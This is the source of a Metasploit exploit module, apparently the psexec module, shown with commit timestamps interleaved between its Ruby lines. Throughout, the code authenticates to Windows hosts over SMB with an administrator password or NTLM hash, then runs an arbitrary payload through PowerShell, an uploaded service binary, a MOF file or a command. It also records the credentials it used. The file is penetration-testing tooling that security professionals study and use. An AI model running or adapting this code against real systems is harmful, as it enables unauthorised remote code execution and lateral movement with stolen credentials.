2007-07-03 04:20:50 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2007-07-03 04:20:50 +00:00
##
2014-07-16 15:29:23 -05:00
# Windows XP systems that are not part of a domain default to treating all
# network logons as if they were Guest. This prevents SMB relay attacks from
# gaining administrative access to these systems. This setting can be found
# under:
#
# Local Security Settings >
# Local Policies >
# Security Options >
# Network Access: Sharing and security model for local accounts
2007-07-03 04:20:50 +00:00
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf :: Exploit :: Remote
2010-09-20 02:56:29 +00:00
Rank = ManualRanking
2013-08-30 16:28:54 -05:00
2015-02-13 17:17:59 -06:00
include Msf :: Exploit :: Remote :: SMB :: Client :: Psexec
2015-10-30 16:21:24 -05:00
include Msf :: Exploit :: Powershell
2010-09-21 00:13:30 +00:00
include Msf :: Exploit :: EXE
2011-03-29 16:35:26 +00:00
include Msf :: Exploit :: WbemExec
2015-10-30 16:21:24 -05:00
include Msf :: Auxiliary :: Report
2024-01-30 17:15:00 +00:00
include Msf :: OptionalSession :: SMB
2013-08-30 16:28:54 -05:00
2007-07-03 04:20:50 +00:00
def initialize ( info = { } )
2009-12-03 15:27:29 +00:00
super ( update_info ( info ,
2007-07-03 04:20:50 +00:00
'Name' = > 'Microsoft Windows Authenticated User Code Execution' ,
'Description' = > %q{
2010-08-25 20:55:37 +00:00
This module uses a valid administrator username and password (or
2011-03-10 05:36:17 +00:00
password hash) to execute an arbitrary payload. This module is similar
to the "psexec" utility provided by SysInternals. This module is now able
2011-10-17 03:49:49 +00:00
to clean up after itself. The service created by this tool uses a randomly
2011-03-10 18:46:58 +00:00
chosen name and description.
2007-07-03 04:20:50 +00:00
} ,
2009-12-03 15:27:29 +00:00
'Author' = >
[
2010-06-21 03:49:39 +00:00
'hdm' ,
2015-10-30 16:21:24 -05:00
'Royce Davis <rdavis[at]accuvant.com>' , # (@R3dy__) PSExec command module
'RageLtMan <rageltman[at]sempervictus>' # PSH exploit, libs, encoders
2007-07-03 04:20:50 +00:00
] ,
'License' = > MSF_LICENSE ,
'Privileged' = > true ,
'DefaultOptions' = >
{
2010-08-25 20:55:37 +00:00
'WfsDelay' = > 10 ,
2015-10-30 16:21:24 -05:00
'EXITFUNC' = > 'thread'
2007-07-03 04:20:50 +00:00
} ,
'References' = >
[
2009-12-03 15:27:29 +00:00
[ 'CVE' , '1999-0504' ] , # Administrator with no password (since this is the default)
2016-07-15 12:00:31 -05:00
[ 'OSVDB' , '3106' ] ,
2015-10-30 16:21:24 -05:00
[ 'URL' , 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ] ,
2017-08-01 22:39:14 -04:00
[ 'URL' , 'https://www.optiv.com/blog/owning-computers-without-shell-access' ] ,
2015-10-30 16:21:24 -05:00
[ 'URL' , 'http://sourceforge.net/projects/smbexec/' ]
2009-12-03 15:27:29 +00:00
] ,
2007-07-03 04:20:50 +00:00
'Payload' = >
{
2015-05-20 17:07:56 +10:00
'Space' = > 3072 ,
2016-03-30 23:38:46 -05:00
'DisableNops' = > true
2007-07-03 04:20:50 +00:00
} ,
'Platform' = > 'win' ,
2009-12-03 15:27:29 +00:00
'Targets' = >
2007-07-03 04:20:50 +00:00
[
2020-07-06 10:33:03 -04:00
[ 'Automatic' , { 'Arch' = > [ ARCH_X86 , ARCH_X64 ] } ] ,
[ 'PowerShell' , { 'Arch' = > [ ARCH_X86 , ARCH_X64 ] } ] ,
[ 'Native upload' , { 'Arch' = > [ ARCH_X86 , ARCH_X64 ] } ] ,
[ 'MOF upload' , { 'Arch' = > [ ARCH_X86 , ARCH_X64 ] } ] ,
2022-05-05 16:43:10 -04:00
[ 'Command' , { 'Arch' = > [ ARCH_CMD ] , 'Payload' = > { 'Space' = > 8191 } } ]
2007-07-03 04:20:50 +00:00
] ,
2010-07-03 03:13:45 +00:00
'DefaultTarget' = > 0 ,
2010-09-21 01:50:50 +00:00
# For the CVE, PsExec was first released around February or March 2001
2020-10-02 17:38:06 +01:00
'DisclosureDate' = > '1999-01-01'
2010-07-03 03:13:45 +00:00
) )
2013-08-30 16:28:54 -05:00
2011-03-23 18:53:32 +00:00
register_options (
[
2021-08-10 13:17:57 +01:00
OptString . new ( 'SMBSHARE' , [ false , " The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share " , '' ] , aliases : [ 'SHARE' ] )
2017-05-03 15:42:21 -05:00
] )
2013-08-30 16:28:54 -05:00
2010-07-03 03:13:45 +00:00
register_advanced_options (
[
2020-07-30 09:34:24 -04:00
OptBool . new ( 'ALLOW_GUEST' , [ true , 'Keep trying if only given guest access' , false ] ) ,
OptString . new ( 'SERVICE_FILENAME' , [ false , 'Filename to to be used on target for the service binary' , nil ] ) ,
2016-06-23 14:56:03 +02:00
OptString . new ( 'PSH_PATH' , [ false , 'Path to powershell.exe' , 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe' ] ) ,
2022-02-15 22:12:31 +00:00
OptString . new ( 'SERVICE_STUB_ENCODER' , [ false , 'Encoder to use around the service registering stub' , nil ] )
2017-05-03 15:42:21 -05:00
] )
2007-07-03 04:20:50 +00:00
end
2013-08-30 16:28:54 -05:00
2020-07-06 10:25:38 -04:00
def native_upload_with_workaround ( smbshare )
2020-05-14 16:41:54 -05:00
service_filename = datastore [ 'SERVICE_FILENAME' ] || " #{ rand_text_alpha ( 8 ) } .exe "
2020-05-11 23:00:41 +02:00
service_encoder = datastore [ 'SERVICE_STUB_ENCODER' ] || ''
2018-07-02 16:07:27 -05:00
# Avoid implementing NTLMSSP on Windows XP
2018-09-15 18:54:45 -05:00
# https://seclists.org/metasploit/2009/q1/6
2018-07-02 16:07:27 -05:00
if smb_peer_os == " Windows 5.1 "
connect ( versions : [ 1 ] )
smb_login
end
2020-07-06 10:25:38 -04:00
native_upload ( smbshare , service_filename , service_encoder )
2018-07-02 16:07:27 -05:00
end
2020-10-27 15:05:23 +00:00
def validate_service_stub_encoder!
service_encoder = datastore [ 'SERVICE_STUB_ENCODER' ]
return if service_encoder . nil? || service_encoder . empty?
encoder = framework . encoders [ service_encoder ]
if encoder . nil?
2021-06-03 11:43:09 +01:00
raise Msf :: OptionValidateError . new (
{
'SERVICE_STUB_ENCODER' = > " Failed to find encoder #{ service_encoder . inspect } "
}
)
2020-10-27 15:05:23 +00:00
end
end
2007-07-03 04:20:50 +00:00
def exploit
2020-10-27 15:05:23 +00:00
validate_service_stub_encoder!
2020-07-06 10:25:38 -04:00
# automatically select an SMB share unless one is explicitly specified
2021-08-10 13:17:57 +01:00
if datastore [ 'SMBSHARE' ] && ! datastore [ 'SMBSHARE' ] . blank?
smbshare = datastore [ 'SMBSHARE' ]
2020-07-06 10:25:38 -04:00
elsif target . name == 'Command'
smbshare = 'C$'
else
smbshare = 'ADMIN$'
end
2023-11-14 18:20:14 +00:00
create_simple_smb_client!
2014-06-02 14:53:40 -05:00
2015-10-30 16:21:24 -05:00
case target . name
when 'Automatic'
2020-07-06 10:25:38 -04:00
if powershell_installed? ( smbshare , datastore [ 'PSH_PATH' ] )
2015-10-30 16:21:24 -05:00
print_status ( 'Selecting PowerShell target' )
2018-04-25 08:56:54 +05:30
execute_powershell_payload
2010-08-18 00:58:20 +00:00
else
2015-10-30 16:21:24 -05:00
print_status ( 'Selecting native target' )
2020-07-06 10:25:38 -04:00
native_upload_with_workaround ( smbshare )
2010-08-18 00:58:20 +00:00
end
2015-10-30 16:21:24 -05:00
when 'PowerShell'
2018-04-25 08:56:54 +05:30
execute_powershell_payload
2015-10-30 16:21:24 -05:00
when 'Native upload'
2020-07-06 10:25:38 -04:00
native_upload_with_workaround ( smbshare )
2015-10-30 16:21:24 -05:00
when 'MOF upload'
2020-07-06 10:25:38 -04:00
mof_upload ( smbshare )
2020-07-06 10:33:03 -04:00
when 'Command'
2020-07-06 10:25:38 -04:00
execute_command_payload ( smbshare )
2015-10-30 16:21:24 -05:00
end
2014-06-02 14:20:54 -05:00
2015-10-30 16:21:24 -05:00
handler
disconnect
end
2018-04-24 23:00:55 +05:30
def report_auth
service_data = {
address : :: Rex :: Socket . getaddress ( datastore [ 'RHOST' ] , true ) ,
port : datastore [ 'RPORT' ] ,
service_name : 'smb' ,
protocol : 'tcp' ,
workspace_id : myworkspace_id
}
credential_data = {
origin_type : :service ,
module_fullname : self . fullname ,
private_data : datastore [ 'SMBPass' ] ,
username : datastore [ 'SMBUser' ] . downcase
}
if datastore [ 'SMBDomain' ] and datastore [ 'SMBDomain' ] != 'WORKGROUP'
credential_data . merge! ( {
realm_key : Metasploit :: Model :: Realm :: Key :: ACTIVE_DIRECTORY_DOMAIN ,
realm_value : datastore [ 'SMBDomain' ]
} )
end
if datastore [ 'SMBPass' ] =~ / [0-9a-fA-F]{32}:[0-9a-fA-F]{32} /
credential_data . merge! ( { :private_type = > :ntlm_hash } )
else
credential_data . merge! ( { :private_type = > :password } )
end
credential_data . merge! ( service_data )
credential_core = create_credential ( credential_data )
login_data = {
access_level : 'Admin' ,
core : credential_core ,
last_attempted_at : DateTime . now ,
status : Metasploit :: Model :: Login :: Status :: SUCCESSFUL
}
login_data . merge! ( service_data )
create_credential_login ( login_data )
end
2023-11-14 18:20:14 +00:00
def create_simple_smb_client!
if session
print_status ( " Using existing session #{ session . sid } " )
client = session . client
self . simple = :: Rex :: Proto :: SMB :: SimpleClient . new ( client . dispatcher . tcp_socket , client : client )
else
print_status ( 'Connecting to the server...' )
connect
print_status ( " Authenticating to #{ smbhost } as user ' #{ splitname ( datastore [ 'SMBUser' ] ) } '... " )
smb_login
if ! simple . client . auth_user && ! datastore [ 'ALLOW_GUEST' ]
print_line
print_error (
'FAILED! The remote host has only provided us with Guest privileges. ' \
'Please make sure that the correct username and password have been provided. ' \
'Windows XP systems that are not part of a domain will only provide Guest privileges ' \
'to network logins by default.'
)
print_line
disconnect
return
end
unless datastore [ 'SMBUser' ] . to_s . strip . empty?
report_auth
end
end
end
2008-11-03 23:06:37 +00:00
end